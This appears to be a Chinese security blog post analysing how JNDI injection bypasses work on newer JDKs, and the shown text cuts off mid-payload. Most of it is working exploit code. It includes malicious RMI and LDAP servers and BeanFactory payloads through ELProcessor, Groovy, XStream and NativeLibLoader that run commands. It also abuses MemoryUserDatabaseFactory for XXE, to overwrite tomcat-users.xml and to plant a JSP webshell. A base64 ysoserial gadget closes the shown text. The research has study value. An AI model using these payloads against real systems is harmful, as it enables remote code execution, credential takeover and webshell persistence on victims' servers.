0 前言

利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

1 Java高版本JNDI绕过的源代码分析

使用marshalsec开启rmi服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest

使用python开启恶意class文件下载服务端

py -3 -m http.server 8090

jdk 1.8u40下发起RMI请求

将java版本修改为1.8u191

直接被阻拦,需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true

先给个图说一下JNDI的过程究竟在干嘛

过程大抵就是这样,高版本的阻断在于步骤4,所以先直接说绕过思路:

  • 思路一,受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
  • 思路二,执行步骤3时,利用受害者本地的工厂类实现RCE

说完结论,再来看一下高版本和低版本Java的关键不同点。

1.1 思路一的源码分析

调试走到NamingManager.lookup(Name var1)方法,其源代码如下:

public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); // 下载Reference的包裹类ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
} return this.decodeObject(var2, var1.getPrefix(1));
}
}

跟进lookup方法

var2中的ip和端口是我们指定的rmi服务器地址,执行var2.getInputStream方法后,获得ObjectInput对象var4,再调用var4.readObject方法,这是典型的Java原生反序列化过程,受害者存在可用的gadget时,我们就可以利用这个点实现高版本JNDI的RCE。

1.2 思路二的源码分析

前面的1.8u40时实现jndi攻击后,显示了调用链,跟着调试后进入到NamingManager.getObjectFactoryFromReference方法中,代码如下

可以看到,从ref中获取codebase后,调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象,然后调用了newInstance方法,触发恶意代码。而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。

从对比1.8u40和1.8u191来看,NamingManager.getObjectFactoryFromReference方法是没有差别的,都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。

这里的helper对象实际上是com.sun.naming.internal.VersionHelper12的实例对象,如下图所示。

却别就在于VersionHelper12,首先跟进1.8u40VersionHelper12的loadClass(String className)方法,源代码如下

1.8u40下VersionHelper12

public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法
} /**
* Package private.
*
* This internal method is used with Thread Context Class Loader (TCCL),
* please don't expose this method as public.
*/
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
} /**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // 注意是URLClassLoader return loadClass(className, cl); // 调用中间的loadClass方法
}
  • 第一个loadClass(String className),以为着通过getContextClassLoader获取本地ClassLoader,传入中间的loadClass(String className, ClassLoader cl)方法后,再通过反射,从本地寻找工厂类
  • 第三个loadClass(String className, String codebase)方法,则创建一个URLClassLoader,传入中间的loadClass方法后,通过反射,会从远程下载工厂类

下面再跟进一下1.8u191版本的VersionHelper12

1.8u191下的VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法,从本地获取
} Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
} /**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) { // 注意这里先进行了是否为可信URL地址的判断!!
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // URLClassLoader return loadClass(className, cl); // 调用中间的loadClass方法,从远程获取
} else {
return null;
}
}

区别明显在于从远程下载时会验证URL是否可信,但并没有对本地加载工厂类进行限制。所以绕过思路之一,就在于利用本地工厂类实现RCE。

2 基于本地工厂类的利用方法

从本地工厂类实现RCE还有一个具体要求,在NamingManager.getObjectInstance中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name, nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象

也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE,好在网上各位大神给出了很多答案。

需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的目录名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

2.1 org.apache.naming.factory.BeanFactory

该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化

需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try { Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {} BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!! // 从Reference中获取forceString参数
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
// 对forceString参数进行分割
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index; /* Items are given as comma separated list */
for (String param: value.split(",")) { // 使用逗号分割参数
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // 等号后面强制设置为setter方法名
param = param.substring(0, index).trim(); // 等号前面为属性名
} else {}
try {
// 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型!
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
} Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { // 遍历Reference中的所有RefAddr
ra = e.nextElement();
String propName = ra.getType(); // 获取属性名
// 过滤一些特殊的属性名,例如前面的forceString
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
} value = (String)ra.getContent(); // 属性名对应的参数
Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName); // 根据属性名获取对应的方法
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 执行方法,可用用forceString强制指定某个函数
} catch () {}
continue;
}
// 省略
}
}

根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,

  • 该类必须有无参构造方法

  • 并在其中设置一个forceString字段指定某个特殊方法名该方法执行String类型的参数

  • 通过上面的方法和一个String参数即可实现RCE

2.1.1 javax.el.ELProcessor.eval

恰好有javax.el.ELProcessor满足该条件!

Server端设置如下

pom.xml

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>

server端代码如下

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class TomcatBeanFactoryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "bitterz=eval")); // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper); // 绑定目录名
System.out.println("Server Started!");
}
}

客户端执行请求

2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)

groovy中同样存在基于一个String参数触发的方法

pom.xml

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>

GroovyShellServer.java

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader; public class GroovyShellServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
}

受害端发起rmi请求,java版本1.8u191

2.1.3 javax.management.loading.MLet 探测类是否存在

浅蓝大师傅又公开了一些其它可利用的类,首先时javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

上面出现404,则说明前面对ELProcessor类的加载成功了。

当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求

2.1.4 org.yaml.snakeyaml.Yaml().load(String)

Yaml是做反序列化的,当然也可以实现RCE,通过其反序列化过程即可实现,payload也比较多

这里还需要对SPI机制有一定的了解,先直接给我如何实现恶意jar包的吧

创建一个恶意类,实现ScriptEngineFactory接口

然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

打包编译后,开启http服务,运行RMI恶意服务端,执行lookup,效果如下

2.1.5 com.thoughtworks.xstream.XStream.fromXML

复现失败了,单纯用xstream.fromXML(payload)也没有成功,可能是环境问题。。。。


ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));

2.1.6 org.mvel2.sh.ShellSession.exec()

<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>

2.1.7 com.sun.glass.utils.NativeLibLoader

JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下

NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

dll代码如下

#include <stdio.h>

void __attribute__ ((constructor)) my_init_so()
{
FILE *fd = popen("calc", "r");
}

使用gcc编译一个dll文件

gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll

启动RMI Server,然后发起rmi请求,结果如下

public class NativeLibLoaderServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("dllLoader", referenceWrapper);
}
}

注意这里的路径一定要用路径穿越,具体原因在于System.load前,对输出的路径与另一个路径进行了拼接,源代码就不贴了,调试即可见。

2.2 org.apache.catalina.users.MemoryUserDatabaseFactory

浅蓝师傅提到扫描发现org.apache.catalina.users.MemoryUserDatabaseFactory这个类也存在利用的可能性,并进步一步进行了研究。

该类的getObjectInstance方法,先获取pathname和readonly两个参数,并调用其setter方法,赋值完成后会调用org.apache.catalina.users.MemoryUserDatabase.open()方法,而后判断readonly=false,则调用save()方法

先看其open方法

从pathName获取url并发起请求,获得xml数据,而后调用digester对xml进行解析,所以这里可以实现XXE。

2.2.1 XXE

开启webserver,并放置一个恶意xml文件如下

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>

当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

2.2.2 RCE

前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

在pathname必须是URL的前提下,跟进save方法

注意到先进行了一个isWriteable的判断,跟进该方法

这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/,此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在,也就是说需要先在tomcat目录下创建http:/http:/127.0.0.1:8888/这两个目录。

浅蓝师傅使用了org.h2.store.fs.FileUtils#createDirectory(String)结合BeanFactory进行创建,其代码如下:

private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
}

创建目录后,继续跟进save方法,如下

将从pathname下载的xml文件中的roles、groups和users写入文件中,并覆盖给Catalina.base+pathname的文件中。

写入文件的payload如下

Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);

首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建http:/127.0.0.1:8888/目录,在windows下执行效果如下

在linux下必须创建http:/127.0.0.1:8888/目录,然后再执行写文件的paylaod,效果如下

linux上复现时的步骤和坑:

  • 首先使用的rmiserver端代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================1 创建http:/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:")); // ===============================2 创建http:/127.0.0.1:8888/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888")); // ===============================3 写入文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}

在tomcat中添加的jsp文件为:/webapps/test/1.jsp

<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<% InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>

用到的tomcat-users.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0"> <role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/> <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
  • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
  • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod
  • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给tomcat/webapps/host-manager/META-INF/context.xmltomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面

最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

  • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
  • 启动恶意rmi server端,代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================写入webshell文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
  • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<% InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
  • 访问webshell

3 基于服务端返回数据流的反序列化RCE

第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

以常见的CC链举例

  • ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException; public class serializationServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
} public static class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
} public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
} byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
} }
}
private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
} } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload1 end **/ /** Payload2: Return Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAA